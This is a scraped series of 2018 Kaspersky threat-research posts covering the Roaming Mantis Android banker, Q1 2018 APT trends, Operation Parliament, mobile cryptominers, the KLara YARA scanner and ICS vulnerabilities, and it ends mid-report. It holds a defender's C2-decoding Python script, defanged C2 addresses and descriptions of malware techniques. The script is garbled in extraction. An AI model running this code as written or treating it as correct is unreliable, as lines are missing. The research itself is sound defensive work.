● wokaixin158998 pattern “<p>([\u4e00-\u9fa5]+?)</p>\s+</div>” “公司</span>([\\u4e00-\\u9fa5]+?)<“ Encrypted dex \assets\db \assets\data.sql Encoding Base64 Base64 + zlib compression

In addition, the \assets\db file name was changed to \assets\data.sql and it’s encoding algorithm have also been changed from Base64 to Base64+zlib. The malware author seems to be updating the code quite regularly.

Researchers wishing to track Roaming Mantis campaign can use the following simplified python script to decode the real C2 server.

#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import re page = open(sys.argv[1],"rb").read() #pattern = u'&lt;p&gt;([\u4e00-\u9fa5]+?)&lt;/p&gt;\s+&lt;/div&gt;' # pattern = u'公司&lt;/span&gt;([\u4e00-\u9fa5]+?)&lt;' # match =, page.decode("utf-8")) ext = dec = '' j = 0 for i in range(len(ext)): dec = dec + chr((ord(ext[i]) - 0x4e00) &gt;&gt; 3 ^ ord('beg'[j])) j = (j+1) %3 print(dec)

An example of script input and output:

$ python 220.136.76[.]200:8844 $ python 220.136.179[.]5:28833

Most interestingly, the malware is embedded with a new feature that communicates with the C2 via email protocols. The data sent contains language, phone number, access information, and the result of a PING test to the C2.

Malware detection statistics

Kaspersky Lab products detect Roaming Mantis’s malicious apk file as Trojan-Banker.AndroidOS.Wroba. Based on the verdict, we checked the statistics from Kaspersky Security Network (KSN) for the two months from February 9 to April 9, 2018.

There were more than 6,000 detections coming from just over 150 unique users. The most affected countries were South Korea, Bangladesh and Japan. Based on the design of the malware and our detection statistics, this malware was designed to be spread mainly in Asian countries. While Kaspersky Lab products may only see a limited number of infections, based on further analysis of the C2 infrastructure we saw roughly 3,000 connections to C2 infrastructure per day, which suggests a much larger scale for this Android malware campaign. Upon every connection the malware sends information about compromised devices to the C2, including system locale, which indicates the possible origins of the victims. 98% of affected devices appear to have the Korean locale set.

We have done some calculations and built the following chart based on observed locales:

The breakdown of the remaining 2% reveals a few more system locales: en_GB, en_US, zh_CN, ja_JP and others.

As usual in such cases, Kaspersky Lab has got in touch with local CERTs (South Korea being the first) to provide information about the victims to help unsuspecting users remove the malware and prevent further reinfections.


Kaspersky Lab observed Roaming Mantis’ Android application being distributed via a DNS hijacking technique with the help of compromised routers. The malware aims to steal user information, including credentials for two-factor authentication, and give the attackers full control over compromised Android devices.

At the moment, clues appear to suggest a financial motive and low OPSEC for this attack, which is why we think it is likely to be the work of cybercriminal hackers.

Our research revealed that the malare contains Android application IDs for popular mobile banking and game applications in South Korea. The malware is most prevalent in South Korea, and Korean is the first language targeted in HTML and test.dex. Based on our findings, it appears the malicious app was originally distributed to South Korean targets. Support was then added for Traditional Chinese, English and Japanese, broadening its target base in the Asian region.

However, it’s still unclear how the attackers hijacked the router DNS settings. If you have any concerns about the DNS settings on your router, please check the user manual and verify that your DNS settings haven’t been tampered with, or contact your ISP for support. Kaspersky Lab also strongly recommends changing the default login and password for the admin web interface of their router, never install firmware from third-party sources and regularly update router firmware to prevent similar attacks in the future.

Based on our investigation, the Roaming Mantis attackers left some additional clues. For example, some comments in the HTML source, malware strings and a hardcoded legitimate website point to Simplified Chinese. Therefore, we believe the cybercriminals are familiar with both Simplified Chinese and Korean.

The malicious threat actor behind this campaign remains very active and the malware is updated every day. We will keep tracking this campaign to protect our customers and update our readers with new information.

Kaspersky Lab products detect this malware with the following verdict(s):


Malicious hosts:

Malicious apks:



APT Trends report Q1 2018

Thu, 04/12/2018 - 06:00

In the second quarter of 2017, Kaspersky’s Global Research and Analysis Team (GReAT) began publishing summaries of the quarter’s private threat intelligence reports in an effort to make the public aware of the research we have been conducting. This report serves as the next installment, focusing on the relevant activities that we observed during Q1 2018.

These summaries serve as a representative snapshot of what has been discussed in greater detail in our private reports, in order to highlight the significant events and findings that we feel people should be aware of. For brevity’s sake, we are choosing not to publish indicators associated with the reports highlighted. However, if you would like to learn more about our intelligence reports or request more information on a specific report, readers are encouraged to contact:

Remarkable new findings

We are always very interested in analyzing new techniques used by existing groups, or in finding new clusters of activity that might lead us to discover new actors. In Q1 2018 we observed a bit of both, which are briefly summarized in this section.

We would like to start by highlighting all the new exploitation techniques applicable for the Meltdown/Spectre vulnerabilities that affect different CPU architectures and vendors. Even though we haven’t seen any of them exploited in the wild so far (only several PoCs) and although vendors have provided various patches to mitigate them, there is still no real solution. The problem relies on the optimization methods used at the processor’s architecture level. Given that a massive hardware replacement is not a realistic solution, Meltdown and Spectre might very well open the door to new infection vectors and persistence methods that we will see in the future.

A similar case was the announcement of several flaws for AMD processors. Even when the full technical details were not yet available, AMD confirmed that these flaws could be exploited for privilege escalation and persistence once a target has been compromised.

We also observed an increasing interest from attackers, including sophisticated actors, in targeting routers and networking hardware. Some early examples of such attacks driven by advanced groups include Regin and CloudAtlas. Additionally, the US Government published an advisory on unusual reboots in a prominent router brand, which might indicate that these specific devices are being actively targeted.

In our Slingshot analysis, we described how the campaign was using Mikrotik routers as an infection vector, compromising the routers to later infect the final victim through the very peculiar mechanism that Mikrotik used for the remote management of devices. In actual fact, we recognised the interest of some actors in this particular brand when the Chimay-red exploit for Mikrotek was mentioned in Wikileak´s Vault7. This same exploit was later reused by the Hajime botnet in 2018, showing once again how dangerous leaked exploits can be. Even when the vulnerability was fixed by Mikrotik, networking hardware is rarely managed properly from a security perspective. Additionally, Mikrotik reported a zero day vulnerability (CVE-2018-7445) in March 2018.

We believe routers are still an excellent target for attackers, as demonstrated by the examples above, and will continue to be abused in order to get a foothold in the victim´s infrastructure.

One of the most relevant attacks during this first quarter of 2018 was the Olympic Destroyer malware, affecting several companies related to the Pyeongchang Olympic Games’ organization and some Olympic facilities. There are different aspects of this attack to highlight, including the fact that attackers compromised companies that were providing services to the games´ organization in order to gain access, continuing the dangerous supply chain trend.

Besides the technical considerations, one of the more open questions is related to the general perception that attackers could have done much more harm than they actually did, which opened some speculation as to what the real purpose of the attack was.

MZ DOS and Rich headers of both files (3c0d740347b0362331c882c2dee96dbf – OlympicDestroyer, 5d0ffbc8389f27b0649696f0ef5b3cfe – Bluenoroff) are exactly the same.

In addition, a very relevant aspect is the effort attackers put in to planting several elaborative false flags, making this attack one of the most difficult we have analyzed in terms of attribution.

In February, we published a report about a previously unknown advanced Android backdoor that we call Skygofree. It seems that the author could be an Italian company selling the product in a similar way to how Hacking Team did in the past, however we don’t yet have any proof of this. Interestingly, shortly after we detected the Android samples of this malware, we also found an early iOS version of the backdoor. In this case, attackers had abused a rogue MDM (Mobile Device Management) server in order to install their malware in victims’ devices, probably using social engineering techniques to trick them into connecting with the rogue MDM.

Finally, we would like to highlight three new actors that we have found, all of them focused in the Asia region:

  • Shaggypanther – A Chinese-speaking cluster of activity targeting government entities, mainly in Taiwan and Malaysia, active since 2008 and using hidden encrypted payloads in registry keys. We couldn’t relate this to any known actor.
  • Sidewinder – An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-2017-11882) and later deploy a Powershell payload in the final stages.
  • CardinalLizard – We are moderately confident that this is a new collection of Chinese-speaking activity targeting businesses, active since 2014. Over the last few years, the group has shown an interest in the Philippines, Russia, Mongolia and Malaysia, the latter especially prevalent during 2018. The hackers use a custom malware featuring some interesting anti-detection and anti-emulation techniques. The infrastructure used also shows some overlaps with RomaingTiger and previous PlugX campaigns, but this could just be due to infrastructure reuse under the Chinese-speaking umbrella.
Activity of well-known groups

Some of the most heavily tracked groups, especially those that are Russian-speaking, didn´t show any remarkable activity during the last three months, as far as we know.

We observed limited activity from Sofacy in distributing Gamefish, updating its Zebrocy toolset and potentially registering new domains that might be used for future campaigns. We also saw the group slowly shift its targeting to Asia during the last months.

In the case of Turla (Snake, Uroburos), the group was suspected of breaching the German Governmental networks, according to some reports. The breach was originally reported as Sofacy, but since then no additional technical details or official confirmation have been provided.

The apparent low activity of these groups – and some others such as The Dukes – could be related to some kind of internal reorganization, however this is purely speculative.

Asia – high activity

The ever-growing APT activity in this part of the World shouldn´t be a surprise, especially seeing as the Winter Olympic Games was hosted in South Korea in January 2018. More than 30% of our 27 reports during Q1 were focused on the region.

Probably one of the most interesting activities relates to Kimsuky, an actor with a North-Korean nexus interested in South Korean think tanks and political activities. The actor renewed its arsenal with a completely new framework designed for cyberespionage, which was used in a spear-phishing campaign against South Korean targets, similar to the one targeting KHNP in 2014. According to McAfee, this activity was related to attacks against companies involved in the organization of the Pyeongchang Olympic Games, however we cannot confirm this.

The Korean focus continues with our analysis of the Flash Player 0-day vulnerability (CVE-2018-4878), deployed by Scarcruft at the end of January and triggered by Microsoft Word documents distributed through at least one website. This vulnerability was quickly reported by the Korean CERT (KN-CERT), which we believe helped to quickly mitigate any aggressive spreading. At the time of our analysis, we could only detect one victim in South Africa.

Forgotten PDB path inside the malware used by Scarcruft with CVE-2018-4876

Furthermore, IronHusky is a Chinese-speaking actor that we first detected in summer 2017. It is very focused on tracking the geopolitical agenda of targets in central Asia with a special focus in Mongolia, which seems to be an unusual target. This actor crafts campaigns for upcoming events of interest. In this case, they prepared and launched one right before a meeting with the International Monetary Fund and the Mongolian government at the end of January 2018. At the same time, they stopped their previous operations targeting Russian military contractors, which speaks volumes about the group’s limitations. In this new campaign, they exploited CVE-2017-11882 to spread common RATs typically used by Chinese-speaking groups, such as PlugX and PoisonIvy.

The final remark for this section covers the apparently never-ending greed of BlueNoroff, which has been moving to new targets among cryptocurrencies companies and expanding its operations to target PoS’s. However, we haven´t observed any new remarkable changes in the modus operandi of the group.

Middle East – always under pressure

There was a remarkable peak in StrongPity’s activity at the beginning of the year, both in January and March. For this new wave of attacks, the group used a new version of its malware that we simply call StrongPity2. However, the most remarkable aspect is the use of MiTM techniques at the ISP level to spread the malware, redirecting legitimate downloads to their artifacts. The group combines this method with registering domains that are similar to the ones used for downloading legitimate software.

StrongPity also distributed FinFisher using the same MiTM method at the ISP level, more details of which were provided by CitizenLab.

Desert Falcons showed a peak of activity at the end of 2017 and the beginning of 2018. Their toolset for this new campaign included Android implants that they had previously used back in 2014. The group continues to heavily rely on social engineering methods for malware distribution, and use rudimentary artifacts for infecting their victims. In this new wave we observed high-profile victims based mostly in Palestine, Egypt, Jordan, Israel, Lebanon and Turkey.

A particularly interesting case we analyzed was the evolution of what we believe to be the Gaza Team actor. What makes us question whether this is the same actor that we have tracked in the past, is the fact that we observed a remarkable boost in the artifacts used by the group. We actually can´t be sure whether the group suddenly developed these new technical capabilities, or if they had some internal reorganization or acquired improved tools. Another possibility is that the group itself was somehow hacked and a third actor is now distributing their artifacts through them.

Final Thoughts

As a summary of what happened during the last 3 months, we have the impression that some well-known actors are rethinking their strategies and reorganizing their teams for future attacks. In addition, a whole new wave of attackers are becoming much more active. For all these new attackers we observe different levels of sophistication, but let´s admit that the entry barrier for cyberespionage is much lower than it used to be in terms of the availability of different tools that can be used for malicious activities. Powershell, for instance, is one of the most common resources used by any of them. In other cases, there seems to be a flourishing industry of malware development behind the authorship of the tools that have been used in several campaigns.

Some of the big stories like Olympic Destroyer teach us what kind of difficulties we will likely find in the future in terms of attribution, while also illustrating how effective supply chain attacks still are. Speaking of new infection vectors, some of the CPU vulnerabilities discovered in the last few months will open new possibilities for attackers; unfortunately there is not an easy, universal protection mechanism for all of them. Routing hardware is already an infection vector for some actors, which should make us think whether we are following all the best practices in protecting such devices.

We will continue to track all the APT activity we can find and will regularly highlight the more interesting findings, but if you want to know more please reach out to us at

Operation Parliament, who is doing what?

Thu, 04/12/2018 - 03:00


Kaspersky Lab has been tracking a series of attacks utilizing unknown malware since early 2017. The attacks appear to be geopolitically motivated and target high profile organizations. The objective of the attacks is clearly espionage – they involve gaining access to top legislative, executive and judicial bodies around the world.

  1. The attackers have targeted a large number of organizations globally since early 2017, with the main focus on the Middle East and North Africa (MENA), especially Palestine. High-profile organizations have also been targeted in other regions. The number of attacks has decreased since the beginning of 2018.
  2. The attacks were initially discovered while investigating a phishing attack that targeted political figures in the MENA region. At first the attacks looked to be the work of the low-sophistication Gaza Cybergang (decoys, file names), but further analysis painted a very different picture.
  3. Targets include high-profile entities such as parliaments, senates, top state offices and officials, political science scholars, military and intelligence agencies, ministries, media outlets, research centers, election commissions, Olympic organizations, large trading companies, and other unknown entities.
  4. The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute any scripts/commands and receive the result via HTTP requests.
  5. Kaspersky Lab users and Threat Management and Defense clients are protected from the attacks.

Cisco Talos recently published a blogpost describing targeted attacks in the Middle East region which we believe may be connected.

Victimology and Statistics

Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on.

Victims have been spotted in the Palestinian Territories, Egypt, Jordan, the UAE, Saudi Arabia, Djibouti, Qatar, Lebanon, Chile, Somalia, Iraq, Morocco, Syria, India, Iran, Canada, the USA, the UK, Germany, Israel, Afghanistan, Serbia, Russia, Oman, Kuwait, South Korea and Denmark.

Victim organization type Number of victim organizations Unknown 91 Senates/Parliaments 7 Prime Ministerial Offices 3 Military/Intelligence Agencies 5 Other Gov./Ministerial/Diplomatic Offices 20 Financial/Banking Institutions 5 Media Outlets 2 Olympic/Sports Bodies 2 Research Centers/Scholars 2 Election Commissions 1 Distribution/Logistics 1

The number of victims/victim organizations probably doesn’t represent the full scope of the attacks – only a portion.

Attack description and attribution

Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital).

With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

See the following for more information and examples of false flags being used in cyberattacks:

Wave your false flags! …or the Nightmares and Nuances of a Self-Aware Attribution Space

OlympicDestroyer is here to trick the industry

Malware description

The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware. All the strings and settings were encrypted and obfuscated. Functionality was identified that enables HTTP communication with the C&C server and invokes “processcreate” based on parameters received as a response.

The configuration and strings are encrypted using 3DES and Base64 encoding. Data sent to the C&C server is also encrypted using 3DES and Base64. Different keys are used for local and network encryption.

The malware starts communicating with the C&C server by sending basic information about the infected machine. The C&C server then replies with the encrypted serialized configuration.

The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute scripts/commands and receive the results via HTTP requests.

Sample of the C&C response with encrypted commands and configurations

Examples of attack decoys

Translation: Contacts list of media personnel

Translation: Relations between UAE and Jordan, and the impact caused by the non-boycott of Qatar

Translation: Military retirement statement 2017 June

Translation: The new Hamas structure for Gaza strip 2017

Translation: Clarification report (on Gaza employee salaries)

What should high-profile organizations do?

High-profile organizations should have elevated levels of cybersecurity. Attacks against them are inevitable and are unlikely to ever cease. These organizations need to pay particular attention to their security, implementing additional measures to ensure they are well protected. Anti-targeted attack solutions, threat intelligence capabilities and data flows, default-deny application lockdown, endpoint detection and response, data leak and insider threat prevention, and even isolated/air-gapped networks should form the basis of any strategy for protecting organizations in the current threat landscape.

The victims of Operation Parliament need to re-evaluate their approach to cybersecurity.

Additional information

For more information about the attacks and the indicators of compromise, please contact:

Alternatively, please visit:

To find more information about cybersecurity awareness training for enterprise or government staff, go to Kaspersky Security Awareness.

Pocket cryptofarms

Wed, 04/04/2018 - 06:00

In recent months, the topic of cryptocurrency has been a permanent news fixture — the value of digital money has been see-sawing spectacularly. Such pyrotechnics could hardly have escaped the attention of scammers, which is why cryptocurrency fluctuations have gone hand in hand with all kinds of stories. These include hacked exchanges, Bitcoin and Monero ransoms, and, of course, hidden mining. We’ve noticed that attackers no longer limit themselves to servers, desktops, and laptops. They are increasingly drawn to mobile devices, mainly Android. We decided to take a closer look to see which mobile apps stealthily mine digital coins on user devices and how widespread they are.

Primitive counterfeit apps

We found several types of malware posing as popular programs and games, but actually just showing ads and secretly mining cryptocurrencies using the CoinHive SDK. In particular, we unearthed counterfeit versions of Instagram, Netflix, Bitmoji, and others. The scammers had added the word “hack” to the original app names. These “hacked” apps were distributed through forums and third-party stores. Kaspersky Lab products detect such programs as RiskTool.AndroidOS.Miner.

Fragment of RiskTool.AndroidOS.Miner.a code that runs a hidden miner and displays an advertising page

Advertising page that RiskTool.AndroidOS.Miner.a shows to the user

Primitive miners based on web frameworks

There are a number of web frameworks that make it easy to create mobile apps, including miners. At the heart of such apps there lies a web page containing a JS script for mining cryptocurrency (for example, the CoinHive script). Most of the miners we found of this type were based on the Thunkable and Cordova frameworks. These apps are most commonly distributed through third-party sites, although one of them was found in the official Google Play store, where it was removed after we reported it.

Screenshot of a game in the Google Play store that mined cryptocurrency

We also found one app built on a different framework, Andromo. It looks like a discount aggregator at first glance, but instead of linking to sites with discounted products, it loads a page that mines cryptocurrency and doesn’t even try to hide it:

One more app caught our eye — Crypto Mining for Children. Based on the B4A framework, it was found in the official Google store (at the time of writing this article it had been deleted). Its stated goal was to mine cryptocurrency for charity. But the description contained no word about where or how the coins would be spent — something that any bona fide fundraising organization would publish. What’s more, the name of the developer bore a striking resemblance to that of a well-known mobile app (a cryptocurrency wallet), but with one letter missing. That’s a common trick used by phishers.

Useful apps infected with miners

This category is made of programs that Kaspersky Lab products detect as Trojan.AndroidOS.Coinge; they are popular apps in which cybercriminals have added malicious code for mining cryptocurrency.

Infected version of the TSF Launcher app

Interestingly, the cybercriminals added the malicious code to the code of other SDKs used by the app. That way, the app runs a library that does the mining. Not only that, we managed to detect a modification of this Trojan that does away with the need for a library: the malware adds its code to all web pages it opens. It’s worth noting that both methods of infection are similar to those used by Trojan-PSW.AndroidOS.MyVk to steal passwords.

A modification of Trojan.AndroidOS.Coinge adds mining code to all opened web pages

We managed to detect 23 different apps infected by Trojan.AndroidOS.Coinge.

Miners in apps for watching soccer

According to Kaspersky Security Network, the most common mining apps among those we found were connected to the topic of soccer. The name PlacarTV (placar means “account” in Portuguese) or something similar cropped up frequently. The main function of such apps was to show soccer videos while secretly mining cryptocurrency.

The PlacarTV app uses CoinHive for mining

The PlacarTV app interface

Our data shows that some of these apps were distributed through Google Play, with the most popular having been installed more than 100,000 times.

A modification of the PlacarTV app that was distributed through Google Play

The apps access the server. This same domain is used in the developer’s email address specified in the Google Play store. Unbeknown to visitors, the site runs a script that mines cryptocurrency.

Code of the page used to mine cryptocurrency

Mobile clickers

Members of the Trojan.Clicker malware family typically open web pages and click them without the user noticing. Such pages can contain both adverts and subscriptions to WAP services. But having started to make easy money from unsuspecting users, the creators seemingly got greedy. And it wasn’t long before cryptocurrency mining was added to the feature set of some clickers. We already analyzed a similar case when a miner was caught lurking in the modules of the Loapi Trojan.

Another Trojan-turned-miner is Ubsob. This malware poses as a suite of useful apps. When started, it downloads and installs an app that it uses to mask itself. Its creators broadened their horizons by adding code borrowed from the app NeoNeonMiner for cryptomining.

Installation of the original app initialized by the Ubsob Trojan

Furthermore, the Trojan requests device administrator rights to establish a foothold in the system. This means that to delete it, it must first be removed from the list of device administrators. During the process, the malware displays a scary message – “These action can lead to data lost. Are you really wont to erase all your data?”

Message displayed by the Ubsob Trojan when attempting to deprive it of administrator rights

The Trojan mainly “resides” in CIS countries, above all Russia.

Other interesting finds Fire-prevention miner

Probably the most interesting Trojan we analyzed is Trojan.AndroidOS.Coinge.j. It has no legitimate app functions at all and installs itself either as a porn app or as an Android system app. As soon as it starts, the malware requests device administrator rights to prevent its removal.

Trojan.AndroidOS.Coinge.j requests device administrator rights

The Trojan uses several layers of encryption and obfuscation to protect its code from analysis, but that’s not the only string to its bow. The malware monitors the device battery and temperature to mine cryptocurrency without posing a fire hazard. It seems the cybercriminals have no desire to repeat the “success” of Loapi, which incinerated our test phone.

Almost a third (29%) of the Trojan’s victims were in India. It is also active in the United States (8%), Britain (6%), Iran (5%), and Ukraine (5%). Like Ubsod, it uses the code of a legitimate app to mine cryptocurrencies.

VPN with undocumented features

We found another battery and temperature-monitoring miner in Google Play under the guise of the VPN app for establishing a VPN connection. By the time of detection, it had been installed more than 50,000 times. We reported it to Google.

Code of the VPN app

Information about the VPN app on Google Play


Keep in mind that mobile mining has a number of limitations:

  • First, mobile devices trail a long way behind desktop systems performance-wise, let alone dedicated mining farms, which eats into the profitability of cryptocurrency mining on mobile devices.
  • Second, heavy use of mobile devices causes them to heat up noticeably, alerting the user.
  • Lastly, smartphones’ relatively small battery power means they discharge quickly if used intensively, making mining more visible to the user and time-limited.

However, our study showed that cybercriminals are not put off by these limitations. We uncovered numerous mobile miners built on various frameworks and distributed in various ways, including through the official Google Play store. Perhaps cybercriminals are banking on compensating for smartphones’ poor performance and mobile miners’ easy detection through the sheer number of handheld devices out there and their high infectibility.



Your new friend, KLara

Wed, 03/28/2018 - 06:00

While doing threat research, teams need a lot of tools and systems to aid their hunting efforts – from systems storing Passive DNS data and automated malware classification to systems allowing researchers to pattern-match a large volume of data in a relatively short period of time. These tools are extremely useful when working on APT campaigns where research is very agile and spans multiple months. One of the most frequently used tools for hunting new variants of malware is called YARA and was developed by Victor Manuel Alvarez while working for VirusTotal, now part of Alphabet.

In R&D we use a lot of open-source projects and we believe giving back to the community is our way of saying ‘Thank you’. More and more security companies are releasing their open-source projects and we would like to contribute with our distributed YARA scanner.

What is YARA?

YARA is defined as “a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples”. In other words, it is a pattern-matching tool, but on steroids. It can support complex matching rules as well as searching files with specific metadata (for example, it can search all files that use a certificate containing the string “Microsoft Corporation” but is not signed by “Microsoft”).

How can YARA help you find the next APT in your network?

YARA’s usefulness is amazing, especially given traditional protection measures are no longer enough in today’s complex threat landscape. Modern protection systems, combined with constant network monitoring and incident response have to be deployed in order to successfully protect equipment.

Protective measures that were effective yesterday don’t guarantee the same level of security tomorrow. Indicators of compromise (IoCs) can help you search for footprints of known malware or for an active infection. But serious threat actors have started to tailor their tools to fit each victim, thus making IoCs much less effective. Good YARA detection rules still allow analysts to find malware, exploits and 0-days which couldn’t be found any other way. The rules can be deployed in networks and on various multi-scanner systems.

That’s why, as part of our Threat Intelligence services, we offer a range of training courses, one of them being our world-famous YARA Training, held by our GReAT ninjas: Costin Raiu, Vitaly Kamluk and Sergey Mineev.

Finding exploits in the wild

One of the most remarkable cases in which Kaspersky Lab’s GReAT used YARA was the much publicized Silverlight 0-day. The team started hunting for it after Hacking Team, the Italian company selling “legal surveillance tools” for governments and LEAs, was hacked. One of the stories in the media attracted our researchers’ attention — according to the article, a programmer offered to sell Hacking Team a Silverlight 0-day, an exploit for an obsolete Microsoft plug-in which at one time had been installed on a huge number of computers.

GReAT decided to create a YARA rule based on this programmer’s older, publicly available proof-of-concept exploits. Our researchers found that he had a very particular style when coding the exploits, using very specific comments, shell code and function names. All of this unique information was used to write a YARA rule — the experts set it to carry out a clear task, basically saying “Go and hunt for any piece of malware that shows the characteristics described in the rule”. Eventually it caught a new sample, a 0-day, and the team immediately reported it to Microsoft.

KLara, GReAT’s distributed YARA scanner

As mentioned above, any team carrying out threat intelligence needs to have powerful tools in their arsenal in order to find the latest threats and detect attacks as soon as possible. Within our R&D department we have built a lot of tools internally, but we believe most progress is made when useful tools are shared with the community. As such, we are releasing our internal tool for running YARA rules over a large set of data (malware/virus collections).

What is KLara?

In order to hunt efficiently for malware, you need a large collection of samples to search through. Researchers usually need to fire a YARA rule over a collection/set of malicious files and then get the results back. In some cases, the rule needs adjusting. Unfortunately, scanning a large collection of files takes time. However, if a custom architecture is used instead, scanning 10TB of files can take around 30 minutes. Of course, if there are multiple YARA rules that need to be run simultaneously, it’s important the system is also distributed. And this is where KLara comes in. KLara is a distributed system written in Python, allowing researchers to scan one or more YARA rules over collections with samples, getting notifications by email and in the web interface when the scan results are ready. Systems like KLara are important when large collections of data are involved. Of course, researchers will have their own small virus collections on their computers in order to make sure their YARA rules are sound, but when searching for viruses in the wild, this task requires a lot of processing power and this can only be achieved with a cloud system.

Why is it important to have a distributed YARA scanner?

Attacks using APTs are extremely dangerous, regardless of whether the target belongs to the public, private or government sector. From our experience, constant monitoring of logs, netflow, alerts and any suspicious files helps mitigate an attack during reconnaissance stages. There are some projects similar to KLara that SOC teams can leverage, but most of them are private, meaning either the virus collection or rules exist somewhere in the cloud, outside the team’s direct control.

KLara, on the other hand, allows anyone running any kind of hardware to set up their own private YARA scanner, keeping TLP RED YARA rules local.

KLara under the hood

The project uses the dispatcher/worker model, with the usual architecture of one dispatcher and multiple workers. Worker and dispatcher agents are written in Python. Because the worker agents are written in Python, they can be deployed in any compatible ecosystem (Windows or UNIX). The same logic applies to the YARA scanner (used by KLara): it can be compiled on both platforms.

Jobs can be submitted and their status retrieved using a web-based portal, while each user has their own personal account allowing them to be part of a group, as well as share their KLara jobs with any other valid account.

Accounts have multiple properties that can be set by the administrator: what group they are part of, what scan repositories they can run their YARA rules over (based on group membership), if they can see other groups’ jobs, or the maximum number of jobs that can be submitted monthly (individual quotas).

By using the dashboard, authenticated users can submit jobs on the ‘Add a new job’ page:

And check their status on the ‘Current jobs’ page:

Once a user submits a task, they can view its status, resubmit it or delete it. One of the workers will fetch the job from the dispatcher and if it has eligible scan repositories on its file systems, will start the YARA scan. Once finished, the user is notified by email of the results.

Each job’s metadata consists of one or multiple YARA rules, the submitter’s account info and a set of scan repositories that can be selected:

On the main page, a summary is displayed:

  • Job status: New/Assigned/Finished/Error
  • Job management: Restart/Delete job
  • How many files have been matched
  • Name of the first rule in the rules set
  • The repository path over which YARA scanned for matches.

A more detailed status can be seen once we click on a job:

Any YARA results will be displayed at the bottom, as well as a list of matched MD5s.

Each user can have a search quota and be part of a group. Groups can choose to restrict users (preventing them from seeing what other jobs group members submit).

Finally, each user can change their email address if they want notifications to be sent to another email account.

API access

In order to facilitate automatic job submissions as well as automatic results retrieval, KLara implements a simple REST API allowing any valid account with a valid API Key to query any allowed job’s status. It allows scripts to:

  • Submit new tasks
  • Get the job results as well as job details (if it’s still scanning or assigned, finished or if there’s an unprocessed (new) job)
  • Get all the YARA results from a specific job.
  • Get all the matched MD5 hashes

More info about using the API can be found in the repository.

How can you get KLara?

The software was released on our official Kaspersky Lab GitHub account on 9 March, 2018.

We welcome anyone who wants to contribute to this project to submit pull requests. As we said before, we believe in giving back to the community the best tools we can provide in order to fight malware.

The software is open-sourced under GNU General Public License v3.0 and available with no warranty from the developers.

Threat Landscape for Industrial Automation Systems in H2 2017

Mon, 03/26/2018 - 06:00

For many years, Kaspersky Lab experts have been uncovering and researching cyberthreats that target a variety of information systems – those of commercial and government organizations, banks, telecoms operators, industrial enterprises, and individual users. In this report, Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) publishes the findings of its research on the threat landscape for industrial automation systems conducted during the second half of 2017.

The main objective of these publications is to provide information support to global and local incident response teams, enterprise information security staff and researchers in the area of industrial facility security.

Overview of ICS vulnerabilities identified in 2017

The analysis of vulnerabilities was performed based on vendor advisories, publicly available information from open vulnerability databases (ICS-CERT, CVE, Siemens Product CERT), as well as the results of Kaspersky Lab ICS CERT’s own research. Vulnerability data published on the ICS-CERT website in 2017 was used to create statistical diagrams.

Vulnerabilities in various ICS components Number of vulnerabilities identified

In 2017, the total number of vulnerabilities identified in different ICS components and published on the ICS-CERT website was 322. This includes vulnerabilities identified in general-purpose software and in network protocols that are also relevant to industrial software and equipment. These vulnerabilities are discussed in this report separately.

Analysis by Industry

The largest number of vulnerabilities affect industrial control systems in the energy sector (178), manufacturing processes at various enterprises (164), water supply (97) and transportation (74).

Number of vulnerable products used in different industries
(according to ICS-CERT classification)
vulnerabilities published in 2017

Severity levels of the vulnerabilities identified

More than half (194) of the vulnerabilities identified in ICS systems were assigned CVSS v.3.0 base scores of 7 or higher, corresponding to a high or critical level of risk.

Table 1 – Distribution of published vulnerabilities by risk level

Severity score 9 to 10 (critical) 7 to 8.9 (high) 4 to 6.9 (medium) 0 to 3.9 (low) Number of vulnerabilities 60 134 127 1

The highest severity score of 10 was assigned to vulnerabilities identified in the following products:

All vulnerabilities that were assigned the severity rating of 10 have much in common: they have to do with authentication issues, can be exploited remotely and are easy to exploit.

In addition, the highest severity rating was assigned to a vulnerability in the Modicon Modbus Protocol, which is discussed below.

It should be noted that the CVSS base score does not account for the aspects of security that are specific to industrial automation systems or for the distinctive characteristics of each organization’s industrial processes. This is why, when assessing the severity of a vulnerability, we recommend keeping in mind, in addition to the CVSS score, the possible consequences of its exploitation, such as the non-availability or limited availability of ICS functionality that affects the continuity of the industrial process.

Types of vulnerabilities identified

The most common types of vulnerabilities include buffer overflow (Stack-Based Buffer Overflow, Heap-Based Buffer Overflow) and improper authentication (Improper Authentication).

At the same time, 23% of all vulnerabilities identified are web-related (Injection, Path Traversal, Cross-Site Request Forgery (CSRF), Cross-Site Scripting) and 21% are associated with authentication issues (Improper Authentication, Authentication Bypass, Missing Authentication for Critical Function) and with access control problems (Access Control, Incorrect Default Permissions, Improper Privilege Management, Credentials Management).

Most common vulnerability types

Exploitation of vulnerabilities in various ICS components by attackers can lead to arbitrary code execution, unauthorized control of industrial equipment and that equipment’s denial of service (DoS). Importantly, most vulnerabilities (265) can be exploited remotely without authentication and exploiting them does not require the attacker to have any specialized knowledge or superior skills.

Exploits have been published for 17 vulnerabilities, increasing the risk of their exploitation for malicious purposes.

Vulnerable ICS components

The largest number of vulnerabilities were identified in:

